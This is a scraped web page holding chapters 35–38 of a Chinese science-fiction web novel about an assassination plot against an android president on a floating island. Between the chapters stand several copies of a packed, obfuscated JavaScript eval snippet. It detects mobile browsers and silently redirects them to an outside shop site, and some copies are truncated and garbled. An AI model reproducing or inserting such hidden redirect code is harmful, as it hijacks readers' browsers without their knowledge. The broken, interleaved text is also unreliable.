;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644091|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实实地隐瞒下来，除非旅游团在场。” “代表普通民众的旅游团是个不好把控的因素，让旅游团亲眼见证刺杀事件，这就是组织的目的。” “而在旅游团的见证下，守卫部不会任由自己的名声因为一个刺客而溃烂发臭，他们会竭尽全力捕捉你。” 丛黎：“我知道。” 组织规划的整场刺杀行动中，“旅游团”是一个至关重要的因素。 没有旅游团的在场，刺杀可以被隐瞒，凶手逃逸可以被隐瞒，不管哪一方面都可以装作若无其事的样子。 而她在等的也是旅游团。 没有旅游团，仿生人总统死了可以再造一个，她的任务就等于没完成。 但是，只要旅游团在场，仿生人总统死了就是死了。 纪学默继续道：“另外，浮空岛的安保系统里最引以为傲的一环就是飞船来回时间，一天中全体人员只有一次机会来到岛上，也只有一次机会离开岛，算上五天一次到来的旅游团飞船，也只有两次。” “组织应该很快会动手，因为他们要确保你无法赶上下午的飞船。” 丛黎却道：“你真的觉得组织的目的是要我背黑锅？他们真的会将盒子的存在揭露出来吗？” 这是昨天讨论过的话题。 纪学默：“黎家的某个派系认为盒子的存在应当保持隐秘，但另一个派系呢？” 丛黎：“那你呢？带着盒子的纪学默不是也会被卷进去吗？” 纪学默咬了一口叉子上的那块甜点。 “我要的就是这样的效果。”他轻声笑道。 丛黎不再和纪学默聊天。 正如他说的，组织行动的时间极可能很早，她必须集中精力开始准备。 她搞不清政治斗兽场上的势力争斗，更不理解那些“大人物”的脑回路，她自始至终想贯彻的只有一条。 “如果有人强迫你选择A或B。” “我会选择‘或’。” 在和玩家小白进行交涉时，摆在面前的选项似乎只有“两个玩家中必死一个”，但事实却不是这样。 她想做的只有：冲破假象，找到生路。 这样想着，丛黎忽然感觉到某种桎梏猝然消散——那是异能的提升。 …… 纪学默打开包间窗户，把盒子放在窗户边缘，让丛黎容易操作。 接着，他移除了包间的信号阻隔，联系尾迹云组织：【时候到了，把画面转播给我。】 35. 刺客之跃35（二更） 纪学默有隔岸观火的习惯。 之所以是习惯却不是爱好，是因为他往往冷漠却不乐在其中，如同记录仪般定格着越燃越凶的火光。 尾迹云组织果然按照他的要求，把链接发给了他。 纪学默没有借助虚拟现实眼镜或者感官模拟机，他只是打开了最普通的终端，像观看影片一样观赏着画面。 这是来自苍术芯片上储存的记忆画面。 …… 早上八点半，旅游团飞船在机场上停下，旅客们陆续接受第二次安全检查。 苍术也接受了安全检查，结果还是和第一次一样。 人员：游客 权限：E级 结果：无危险品 安全检查全部结束，导游安排游客们坐上观光车。 “我们将前往云端大楼，和公务员们共进早餐。”仿生人导游声情并茂。 浮空岛的公务员们是最传统的一群人，非必要的话，没有人喜欢往自己脑子里装机械，他们的时间线仿佛还停留在上个世纪。 而游客们带着满是闪亮浮夸的金属，顶着耀眼的发色瞳色，咔哒咔哒铿锵铿锵地进入云端大楼。 两拨人在同一个大厅相遇，好像两个时代交错而过。 “爸爸，为什么他们那么老土？”有个旅游团的小孩叫出声。 父亲大惊失色，捂住孩子的嘴巴。 苍术看向那对父子。 旅游团内，另一个人说着风凉话：“原生的人是最珍贵的，他们全身上下可都透露着不被污染的奢华呐。” “公司希望民众终生都购买他们的服务，机械植入体每个月要检查，每年要维修，每三年要大修，还要配合相应的药物强化兼容性。这不就把一个公民的一生安排得明明白白的吗？说到底，他们推出的所有商品都是操控人的手段。” 那个孩子被父亲捂住了嘴，“唔唔”地叫了两声，眨了眨眼睛，表示没听明白。 苍术跟着游客的队伍继续前进。 导游把游客们带到了云端大楼的三楼，吃完早餐后，游客队伍继续向云端大楼上爬。 接着是四楼的艺术品展厅。 五楼的影院。 六楼的游戏厅。 七楼的模拟议会。 …… 游客队伍到达十一楼时，已经是上午十点。 苍术收到了来自组织的消息：【行动。】 十一楼是武器展示厅。 天花板上光管发出冷色调的光，与黑色金属墙面形成强烈对比，进入展厅后，仿佛温度低了几度。 一厅展示的是过去的武器，武器图谱和时间线清清楚楚地列在墙面上。 二厅是现有的武器，在信息栏主要写着它们的性能、产出的公司以及市面上的价格。 三厅是前沿武器甚至展望中的武器，配备着虚拟体验机器，游客们可以进入虚拟体验机使用这些尚未问世的高科技武器。 苍术在芯片端接收到了十一楼的地图。三厅的窗户开向核心大楼。 “请在选择要体验的武器后及时付费，游戏时间是两分钟。”导游介绍道。 小孩嚷道：“我想要试那个电光箭！” 导游立刻阻止：“电光箭由于游戏效果过于血腥，存在年龄限制，建议你尝试智能霰弹/枪和量子炮。” 那个说风凉话的游客再次插嘴道：“小孩就不该来武器展厅，难道量子炮就不血腥吗？” 导游正色：“在游戏所展示的效果里，量子炮确实谈不上血腥。” “量子炮……威力足以炸毁一个小型城市，”风凉话游客念出面板上的性能介绍，“杀死一个人是血腥，杀死一整个城市的人就不血腥，是因为看不到血……哦懂了。” 苍术早已瞄准机会，在黑暗的环境里悄悄绕过游客们。 在游客们纷乱的声音中，他悄无声息地放倒了一个机器人安保。 警报声从整个三厅的各处响起，刺耳尖锐，令人心悸的声音响彻整个大楼。 苍术跃上窗缘，像鱼一样撞向强化玻璃。 轰然一声。 丝带般紧紧缠绕的警报声中，强化玻璃分崩离析，炸成无数碎片。武器体验机所散发的幽蓝色光芒照耀在空气里飞舞的玻璃碎片上，倒映出游客们错愕的神色。 仿佛量子炮的火光从虚拟的体验机里冲了出来，将整座城市包裹在其中。在资本的眼里，人变成符号，变成数字，变成大集体里的一个微尘，就可以任意屠杀了。大楼、机器、人畜，都成为其中的碎片，崩毁殆尽。 “警戒！” 整栋云端大楼的安保系统接到了警示，防卫分析人工智能立刻出动。 “不安因素：一人。” “躯体强度：高。” “速度：高。” “其余：……” 为了防止人工智能出错，异能局派出的防卫分析师从上午的休息时间里被硬生生叫醒。 “监控切近，让我分析一下他的异能情况。” 在智能和人工两位分析师开始工作的同时，守卫部调动了全岛的警戒和防御。 苍术从云端大楼十一楼跃出，跨越中间的几栋建筑，径直奔向核心大楼。 他身形矫捷，攀附在楼体上后迅速转向下一个落脚点。 每走一步，都像踩在水面上一样，荡出无数由烟尘和炮火构成的涟漪。 苍术听到人群的声音，游客们的尖叫声，机器轰鸣的声音，武器刺耳的爆射声。 一束激光击穿了他面前的空气，他身后的砖石和金属轰然爆炸。 碎屑在空气里飘散爆开，视野里混沌一片，他的身体被洞穿。 “击中目标。”冰冷的电子音在守卫部中央控制器内响起。 与此同时，分析师的结果也逐渐出来了。 “确认：高精度能量储备型仿生人。” “确认：无异能。” 在烟尘滚滚的监控画面中，苍术重新站起来，模糊的血肉慢慢恢复。 他体内爆发出强大的能量，一跃数十米，攀上了核心大楼的楼体！ 银色的游鱼迎着逆向而来的波浪涌入，奔腾，跃起。 一个人拦在了他面前。 那个女人穿着异能局的白色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644092|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西装制服，肩上佩戴着金色的标志。 她站在苍术面前，没有举枪，也没有做出防御的姿态。 “如果你今天杀了我和总统，所有关于你的美好预言都会溃散。” “被动誓言为证。” 苍术愣了一下，停止了动作。 芯片那端，组织的指令仍然在继续：【蒋涟霏，异能“誓言子弹”，对你来说不是威胁，动手。】 苍术没有行动。 智能狙击铳已经瞄准了他。为了不波及到异能者蒋涟霏，采用了小型的精准铳。 组织的指令：【闪避！为什么不行动？】 …… 云端大楼十二楼。 纪学默把最后一块甜点放入嘴中，无视刺耳的警戒声。 终端屏幕上是实时播送的画面，来自苍术芯片程序上的扫描画面。 “异能‘誓言子弹’中的技能‘被动誓言’，虽然限制重重，但就像诅咒一样。”他自言自语地分析道。 那个女保镖给出的被动誓言很简单：代价是已定预言失效。 只是预言失效而已。 那个仿生人居然因为这个无关痛痒的诅咒而无视指令，停止行动。 纪学默有些诧异，他抬手支起脸颊，看向画面。 智能精准狙击铳的长筒内爆出火光。 组织下达了最后一条硬性指令：【解体。】 按钮按下了。 “这种型号的仿生人自我解体造成的威力巨大，第一轮是外容器解体产生的爆炸，第二轮是神经连接线解体产生的爆炸，第三轮是主芯片解体产生的爆炸。” “三轮爆炸下来，至少半栋核心大楼会被炸毁。” 纪学默似乎是在自我科普，又似乎是在对某个盒子说。 盒子安静地待在窗户边缘。 对面的核心大楼布满警戒，外墙体上都是电网，火花四溅。 安保人员正在紧急转移总统，以免出现意外情况。 人工智能分析师突然跳出红色警报：“预计不安因素解体倒计时。” 苍术身体结构内的精密能量扩开能量场，每个分子都在扩张，释放出巨大的能量和连锁反应。 死亡……的代价…… 在火光爆裂开的一瞬间，那簇意料之中的烟花从核心大楼内消失了。 随后，巨响在天空里爆裂开，波涛汹涌的黑烟夹杂着锐利明亮的火光在空气里扩散。 外容器解体被转移到了核心大楼外！ 游客们和机器人同时看向空中。 电子眼和人类肉眼中所见到的景象耀眼无比。 纪学默看到的画面却截然不同。 从几近断裂的视神经连接线里，画面模糊不清，但还是能看到，一个人影从烟尘中显形，她仿佛不受爆炸影响，缭绕蔓延的火光从她身边拂过。 她从铺天盖地的火焰蜘蛛网里穿过，抓住了苍术的主芯片，撕开所有连接线。 又是一声爆响，连接线解体了。 画面戛然而止，停留在那个黑发女性的脸庞上，永远定格。 纪学默怔住了。 36. 死亡交响1 纪学默有点后悔打开这条链接。 涌动的暗河冲上地面，冲散了条理分明的思考。 骤然之间无法保持冷静，这一点对于他来说是致命的。 纪学默下意识地用叉子去叉一块甜点，以便自己尽快恢复思考。 另一方面，他又下意识地去关掉终端上永远定格的画面——那是仿生人最后的视觉感官体验。 双管齐下，“叮”的一声。 他低头一看，看到自己手里握着叉子，而叉子尖端停留在终端的屏幕上，好巧不巧正好按在“关闭”按钮上。 他记起来，他已经吃了最后一块甜点。 纪学默有点后悔刚才打开那条链接了，他现在大概是被那个仿生人同化了。 他的终端屏幕上，组织发来的消息在轰炸着，全都是对于刚才那一刻中渡鸦为什么会知道仿生人解体的气急败坏的质问。 纪学默回复：【或许那是心灵感应？】 【另外，我们的交易已经顺利完成了，如果你们对我提出其他问题，得加钱加筹码。】 “仿生人解体”这个秘密确实是他泄露给丛黎的。但他还没有到正大光明展示两面三刀的地步，当然对这件事绝口不提。 纪学默关上终端。 “丛黎。”他叫她的名字。 她没有回答。 她应该正忙着。这个整天无所事事的盒子总算也有忙碌的一天。 丛黎确实正在忙。 她从爆炸中把苍术的主芯片撕下来，带进了盒子内部。 不同于上一次，那时她只能把物件留在盒子内十秒。这次，冲破了一层桎梏的异能提升让她能在高维空间里存放物品十年。 拥有储物功能的盒子成了真正的“高维空间”。 那张焦黑的芯片安静地漂浮在空中。 她摸了摸芯片。 在她里莎船长号的甲板上时，吹来的海风把苍术的头发揉成顺毛，呼噜噜一顿搓。 “这回是我，可不是海风，浮空岛上没有海风。” 丛黎和玩家小白商量的时候，提到了仿生人解体爆炸时的对策。 丛黎：组织的计划是让仿生人在大楼内解体，把爆炸转移到外面只有我能做到。 小白：我拖住仿生人的行动，把实时位置告诉你。但具体操作我还不是很确定，我对那个仿生人一无所知。 丛黎：你就威胁他“预言会失效”。 小白：哈？ 丛黎：包管有用。 小白：哈哈哈，仿生人（封建迷信沉迷命理学版）。 丛黎：即便如此，风险还是很大，你尽快把实时位置告诉我。 小白：反正都做任务了，肯定是赌命在做，不过实时位置我还是会尽快传给你。 丛黎催动“高维储存”，淡淡的光芒包裹住了那张焦黑的芯片。 “这下亚尔弗的破预言死活都要给你圆满了。”她开玩笑地道。 系统：【恭喜玩家2600在盟友的帮助下完成任务，获得防御道具*誓约之盾，玩家1000获得防御道具体验机会一次】 玩家小白的任务“阻止神秘组织刺杀总统”完成了。 但属于她的战斗还没有结束，才刚刚开始。 …… “出现新目标，把距离爆炸最近的场景记忆文件传输给我！” 分析师敏锐如闻到腐肉的秃鹫，立刻将焦点投注到被转移到楼体外部的爆炸。 浮空岛防卫部的分析师拥有S级的异能“异能确认”，这是人工智能分析无法达到的领域，因此在出现异能袭击者时，是最关键的一环。 在这次高精度能量储备型仿生人的解体中，第一轮爆炸结束后，紧跟着第二轮爆炸再次轰然炸开。但是整个过程中只有两轮爆炸，第三轮爆炸被阻止了。 也就是说，隐藏在暗处的那个异能者隔离了仿生人的主芯片。 “能隔离芯片解体指令的，一定是结界之类的异能。” “不，结界会有特殊的标志，有肉眼可见的光芒，这不是结界。” “隔绝系异能里，还有哪个能做到悄无声息地……” …… 在助手七嘴八舌的讨论中，那张爆炸的场景记忆文件被传输到了分析师旁边的感官模拟器中。 “新目标异能确认中。” 分析师取下皮肤电极，犹疑地得出结论：“异能确认：高维空间。” 助手惊诧地把这个新奇的异能名字重复了一遍：“但这是什么系异能？” “高维空间……是什么？来自另一个维度的？” “我不知道，你问我我问谁去？交给希琼，反正他应该知道怎么处理。” 守卫部的分析师结束了工作，伸了个懒腰：“防卫特殊编队三队，该你们上场了，我先下班了。” 通讯机里传来一声来自上司的怒吼：“下什么班，不准下班，万一有其他的异能者在岛上呢？保持警戒！” 人工智能冬客及时应和道：“在没有确定不安因素的方位和来意前，请各位保持警戒。” 分析师一脸丧气，念叨着“保持警戒”去边上坐着了。 防卫特殊编队三队队长希琼从乐团准备室里走出来。 他一手拆开身上繁复的演出服，扔在一边，露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666658|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑色作战背心。 “久安，展开结界保护总统，对手的行动很明确，对仿生人袭击者了如指掌，很有可能目标和仿生人袭击者一样。” “对方是维度系异能者，辛莱拉，现在进行全岛搜索，找到隐藏在暗中的异能者。” “其余队员，集结准备战斗。” 辛莱拉拎过一边的飞行头盔：“就位。” 头盔咔哒一声扣上。 从玻璃里映出辛莱拉的蓝眼睛，她金色的碎发落下几绺贴在脸颊边。 线条锋利的小型战斗机如同闪电一般快速掠过观景台，在整个岛屿上空盘旋。 “领域侵入”的无形触手伸向浮空岛的每一个角落。 …… 云端大楼十一楼，游客们在导游和守卫部安保员的保护下再次接受安全检查。 由于是旅游团内首先爆发的乱子，其余游客们便成了被守卫部警惕的头号怀疑对象。 游客们窃窃私语，既为自己接下来的旅途感到担忧，也因为这次额外的浮空岛袭击感到兴奋激动，肾上腺素狂飙。 小孩睁大眼睛好奇心爆棚，语如连珠地问：“为什么外面爆炸了？为什么刚才那个人居然能冲破强化玻璃？为什么我们又要过安全检查了？……” 父亲不堪其扰：“会有结果的，现在先别问，闭上嘴巴。” 接受安全检查的游客队伍正在缓慢通过扫描机器。 在一名游客进入扫描机器前，孩子突然爆发出的尖叫声引燃了场面：“啊！” 几乎所有游客的注意力都顺着小孩指着远方的手滑过去。 核心大楼正对云端大楼的那一面墙体的大屏幕上。 那片屏幕上出现了联邦总统蒙芙·埃文斯的脸，这位五十八岁的女军人头发一丝不苟地向后梳着。 “我的身份……” 外墙大屏幕上影像清晰生动，整座浮空岛上都回荡着总统沉稳的声音。 核心大楼的总统演播室需要有总统的指纹才能开启，几乎所有人都认为这是总统对这次意外事件的总结和发言。 下一秒，屏幕里火光四溢。 巨响从广播里荡开，波动着扩散到浮空岛每一个角落。 大屏幕上那张脸被撕裂，在瞬时之内被烟尘包裹卷挟，声音的碎片如同刀尖将屏幕割开，整栋核心大楼仿佛在震动。 “总统演播室爆炸了！”游客中有人反应过来，惊叫了一声。 ——“不，是在蒙芙·埃文斯说出真相前，她背后的势力操纵着她解体爆炸了。” 安全检查员停下了动作，顺着游客们的目光看向出现在门口的那人。 37. 死亡交响2 出现在总统演播室的那张脸被爆炸击得粉碎。 丛黎从突如其来的爆炸事件中反应过来的时候，大脑里像裹了一层碎屑烟尘般混沌。 等等？ 如果出现在总统演播室的那位是蒙芙·埃文斯总统——那她现在挟持的这位是谁？ 这个活生生站在她面前的，是谁？ 半分钟前。 玩家小白作为异能局派出的保镖，将总统所在的位置通过论坛私密情报分享传送给了她。 幸运的是，三级远景刚好足够伸展到总统所在的暗道，她不费吹灰之力把总统转移到了核心大楼楼顶。 没想到，丛黎还没来得及进行下一步行动，总统演播室就开启了大屏幕广播。 核心大楼的四面墙体上都开启了虚拟屏幕，那位女军人的模样清晰地出现在屏幕上。 “我的身份……” 蒙芙总统的声音通过总统演播室在整个浮空岛上回荡。 然后，总统演播室爆炸了。 核心大楼轻微摇晃了一下，不过没什么大问题，只是小范围的爆炸。 不过总统演播室的录音广播质量好到令人发指，把这次事件渲染成了惊天大爆炸，整个浮空岛上都能听到从广播里传来的轰然巨响。 丛黎有些麻木了。 【小白plus】：你把总统带到了演播室吗？怎么任务完成的提醒还没来？出什么岔子了吗？ 她心累无比地回答：【我这里还有一个总统，演播室那位我不认识。】 蒙芙总统突然被带到楼顶，在阴冷的光线下，她的头发泛着异样的光泽。 她环顾四周，却不见一人，便警惕地做出防御的姿态：“你是谁？为什么带我到这里？” 没有人回答她。 紧急联系器就夹在上衣领子上，闪着微微的光芒，蒙芙总统迅速抬起手去按。 只要按一下，守卫部就能得知她的地点。 猛然之间，她的手顿在半空中，动作划出的弧线里带出上浮的灰尘。 她没来得及露出惊恐的神色，时间就在她身上暂停了。那张被定格的脸显得毫无生机，蓝色的眼珠像无机质一样黯淡下去。 在防御戒备的状态下，她的肢体僵硬了，制服包裹的肌肉线条看起来有些可笑。 她身体上出现了一个孔洞，制服上的那片布料缓缓落地。身体材料像棉花娃娃内的棉花一样被掏了出来。 丛黎没有过多犹豫，她对眼前这个“蒙芙总统”动手了。 反正两个总统都是仿生人。 反正仿生人总统有两个一模一样的也不奇怪。 反正两个都得死。 …… 因为总统演播室的意外事件，守卫部不得不派出大部分人员前往演播室查看情况，演播室整个都被炸了，不过波及范围并不大。在焦黑的废墟里，守卫员们搜索着可能的线索。 而在暗道内，那些护送总统转移的保镖们也面面相觑。 守卫部本部，分析师从昏昏欲睡的状态中清醒过来：“‘高维空间’把总统转移到演播室了吗？怎么会爆炸？身份又是什么？” “不知道，异能局那些人说总统是忽然不见的，可能确实被看不见的敌人转移了。” “辛莱拉已经开始全岛搜索了吧？应该没问题。” “但是到底为什么？为什么要让总统进演播室？为什么在她没说完话之前爆炸？” 几个完成了工作的闲人聚在一边窃窃私语，被人工智能冬客当场警告：“请保持警戒，随时待命。” 云端大楼内更是乱作一团。 游客们看向那个出现在门口的人。 “什么真相？背后的势力？” “操纵着她解体爆炸？总统是仿生人吗？” “到底是怎么回事？” …… 游客们的好奇心像橡皮筋一样被拉长，嘁嘁喳喳地问。 那个出现在门口的人还没多说什么，一束子弹就从他的太阳穴穿过，他应声倒地。 守卫部的人员动作迅速地把那个提起“真相”的死者抬走了。 片刻之间，鸦雀无声。 几秒后，人群才像从时间暂停中回转过来。 游客中的那个孩子吓哭了，哇的一声开始制造噪音。 有些游客自觉噤声，不再胡言乱语，另外一些人却开始沸反盈天地闹。 “守卫部就可以乱杀人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672918|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？” “我记得他是咖啡厅的服务员吧？就因为一句话，把工作人员杀了，你们浮空岛有自己的法律吗？” “这样看来，那个人说的是真的了，总统真的是可以解体爆炸的仿生人。” …… 那个一直说风凉话的游客往前走了一步，脸上讽刺的表情淡了一些，多了几分郑重严肃。 他从衣服口袋里取出一条数据线，声色俱厉地道：“我是人权会的卧底监督官，我已经向总会传送了这些画面，我申请向库金利区和联邦政府了解今天这件事情的真相。” 人工智能冬客立刻接话道：“好的，正在为您接通规划部。” 一边的安全检查员脸色却白了几分。 旅游团，是浮空岛上最大的不安因素，每五天就会到来一次的危险。 其中一个危险因子就在于国际武装组织“人权会”。人权会时不时派上几个卧底，混在普通游客中来到浮空岛上，是个实打实的刺儿头。 浮空岛不能轻易动旅游团的原因就在此。 …… 原来杀死一个仿生人是这样的感觉，像拆一个玩具。 丛黎在仿生人总统的身体里开了个洞。 仿生人总统的身体材料中有和血一样的液体流出来，淌在制服上，顺着布料往下洇染。但那却不是血。 连接线就藏在血肉之间，像神经一样四通八达，而埋藏在纷繁连接线中的就是“心脏”主芯片。 她挖出那张主芯片，手指一收。 电火花从主芯片上迸发出来，产生了一次有些明亮的小型爆裂，随之就将芯片燃烧殆尽。 而仿生人总统仍然站在原地，以那种姿态那种神情如同雕像一般停留在时间里，失去了主芯片的指令传达，非人感一下子强烈起来，皮肤泛着某种软金属的质感，只有人造血液还在往下淌，一直落到地上。 仿生人总统死了。 或者说她从来没有活过。 但任务完成的系统提示还是没有来。 丛黎感到有些惊悚：不会在仿生人以外存在一个真正的“蒙芙·埃文斯”吧？任务的要求难道是要杀死真正的蒙芙总统？ 不安的感觉蔓延着。 38. 死亡交响3 从包间的窗户里能看到一个小黑点正调整航向往这个方向而来。 小黑点像落在纸上的墨点一样以令人心悸的速度飞快在天空里晕染开来，距离越来越近。 纪学默双手按在窗缘，目光跟随着空中的墨点：“丛黎，辛莱拉正在找你。” “特殊编队三队的辛莱拉在那架战斗机上，她的‘领域侵入’正在搜寻浮空岛上可能存在的其他维度。” 丛黎把远景从核心大楼切回。 她才解决了那个仿生人总统，对于“真正的总统”这个命题感到焦头烂额。在此刻对她提起致命的敌人，显然是火上浇油。 “纪学默你这个悠闲的样子简直就是欠扁。” 虚拟的披风在身边垂下，黑发女性的影子在窗台上缓缓出现，抬手给自己扣上面具，遮住怒气冲冲的表情。 纪学默微微歪过头打量她：“这样的装束可不适合逃亡。” “谁跟你说这是逃亡了？”丛黎看向窗外。 战斗机的声音渐近。 自从和她里莎船长交战后，丛黎对领域侵入的“触手”有了一定的辨认能力。 她能感觉到隐约靠近的威胁感，那是一种仿佛窥视般的令人毛骨悚然的视线。 她一手握持起放在窗台上的盒子，虚影的披风像深海的暗流一样涌动着，从她的双肩合拢，鼓动着气流包裹在她身体的周围，将盒子也一并隐藏在其中。 披风成了完美的遮掩物。 纪学默了然：“原来如此，你特意给自己的投影加上夸张的披风装束，是用来遮掩盒子的。你要带着你的容器逃亡，并且在战斗的过程中不想被其他人看到你的容器盒子。” “不过这样做有个弊端，你没办法收回你的投影，为了让盒子移动，你必须一直保持投影的状态。” 丛黎集中精神，忽视纪学默的解说员碎碎念。 玩家小白完成任务后，作为盟友的她也得到了一次“誓约之盾”的使用机会。 但只有一次机会。 在盒子无法瞬移的情况下，现在的她肯定躲不过已经近在咫尺的辛莱拉的搜索。 她要利用“一次性誓约之盾体验卡”给敌人营造一种她永久拥有对付“领域侵入”的王牌盾的错觉。 战斗机呼啸着掠过云端大楼。 驾驶座上，辛莱拉的蓝眼睛中闪过兴奋的亮光，她操纵着战斗机俯冲而下。 领域侵入无形的触手像降落伞一样呼地展开，笼罩在整栋大楼上空。 刷！ 无形的触手和战斗机下的气流一起展开攻击。 【誓约之盾】 丛黎半蹲在窗台上，抬起头和俯冲下来的战斗机上的驾驶员遥远地对视。 辛莱拉也看到了那个人影，就在云端大楼最高层的窗边，浑身包裹着黑色披风。 “怎么会？”辛莱拉的瞳孔缩了一缩，既是自言自语，也是对队内的报告。 她的领域侵入本应该是绝对的，只要对方在另一个维度内，就能百分之一百地命中，甚至至S级结界异能者都无法躲过她的侵入，不死也得受伤。 但刚才的那一击，用尽全力的“侵入”，却遭到了完全的抵挡。 海浪击在了高耸的岩石上，对方纹丝不动，毫发无伤。 “云端大楼？怎么了？”通讯器内，队长希琼问。 辛莱拉从头盔的玻璃望出去，紧紧地盯着那个黑发女性：“你不是说她是维度系吗？但她能完全抵挡我的侵入。” 队长希琼低声重复了一遍：“完全抵挡？” 辛莱拉皱眉道：“我等会再尝试一次，尽量试探出她的底细。” 辛莱拉的领域侵入有三分钟的时间间隔，她得暂时等待。 战斗机在空中微微倾侧，尾翼划出弧线，不断靠近云端大楼。 丛黎一手撑着窗台，跃进包间里，迅速转到纪学默身后。 披风抬起一角，她抬起手臂横在他的颈项间：“借我劫持一下。” 温热的触感力道不轻不重。 纪学默低下眼看了一眼她横在他颈项大动脉边的手，侧过脸看她：“如果我不配合呢？” 她比划了一下：“我要杀你还是很容易的。” 他毫不在乎，反而提出条件：“除非你答应我，如果你今天活着离开浮空岛，三个月内你得回来找我。” 丛黎对他提出的条件感到无比纳闷又无比困惑：“……好。” 辛莱拉操纵着战斗机在上空盘旋着，调整远视镜里的视野，等待着。 远视镜内，那个女人挟持了一个人从窗口跃出，站在外缘的窄平台上，黑色披风在一霎时被风鼓起来。 辛莱拉看清了远视镜视野内的景象。 “希琼，她劫持了纪学默。” 事情就是这样变糟糕的。 辛莱拉明显听到通讯器那边队长希琼叹了一口气。 “不可替代之人，总统死了他都不能死的存在。” 纪学默在终端上向特殊编队三队队长希琼发出消息：【她想知道：真正的总统在哪里？】 只要三队其他成员来到，只要在半径五十米内的距离，就可以协调作战，发挥最大作用，救下纪学默，阻止这个“高维空间”异能者。 现在唯一的办法是拖时间。 希琼回答纪学默：“她想和我们谈判，想用你的命换总统的命。当然，某种程度上来说确实可行。但是真正的总统？我们对此一无所知。” 纪学默的下一条消息：【她说，演播室里那位不是真的，暗道里那位也不是真的，但你们一定知道货真价实的那位在哪里。】 【因为你们的结界能力者不在，既不在演播室也不在暗道。】 希琼沉默了。 特殊编队三队的结界能力者久安，被他安排去保护总统了——保护真正的总统。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690809|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >纪学默：【她说，让那位结界能力者带着总统来这里。】 在纪学默发消息的时候，丛黎暗自思忖着。 可能性一：如果存在一个人类蒙芙·埃文斯，那么纪学默见到的也是假总统。 然而，为什么防卫特殊编队三队的成员会知道这位人类，但纪学默却不知道？ 或者说，纪学默在骗她？ 可能性二：如果存在另一个仿生人总统，而纪学默的情报也是真的。 暗道里的那位“总统”，是异能局派来的保镖们所保护的。 蒙芙总统不信任异能局，才会设了个替身。 而总统演播室那位“总统”，又是怎么回事？为什么会说出“我的身份……”这种话？ ——绕晕了。 在这个瞬间，丛黎多少有点羡慕纪学默。做一个脑子好的人多轻松，至少在这种时候不会一个头两个大。 在等待谈判的同时，气氛逐渐焦灼。 辛莱拉的战斗机依然盘旋在上空，像随时会俯冲抓取猎食的鹰。 辛莱拉对队长希琼道：“她不知道我的异能有等待时间，估计会以为我在忌惮所以不出手，我等会趁着她松懈再试探一下她的底细。” 希琼却驳回了她的请求：“再等等，等我们赶到。在你不能保证纪学默安全的时候，不要动手。” 辛莱拉冷哼了一声，没有回话。 丛黎在做最坏的准备：如果在谈判中要不到关于总统的情报，辛莱拉反而有对她出手的倾向。 那她必须抢在辛莱拉动手前，利用高维移物把辛莱拉连人带飞机地捏碎。 问题是谁的动作更快。 时间一分一秒地过去，辛莱拉看了一眼时间。 希琼依然在和纪学默谈判。 辛莱拉已经打定主意要试探一下她的底细。和希琼不一样，辛莱拉并不在乎纪学默的命。 十秒，八秒，五秒…… 丛黎从斗篷下抬起手，她感觉到了头顶上盘旋的战斗机逐渐逼近的恶意。 三秒，两秒，一秒。 辛莱拉眼神锐利地看向下方。 【领域侵入】 绝对性的侵入如同凶猛的海浪，冲刷而去，将云端大楼淹没在其中。 不料—— 这一次侵入的触手再次撞到了坚硬的岩石上。 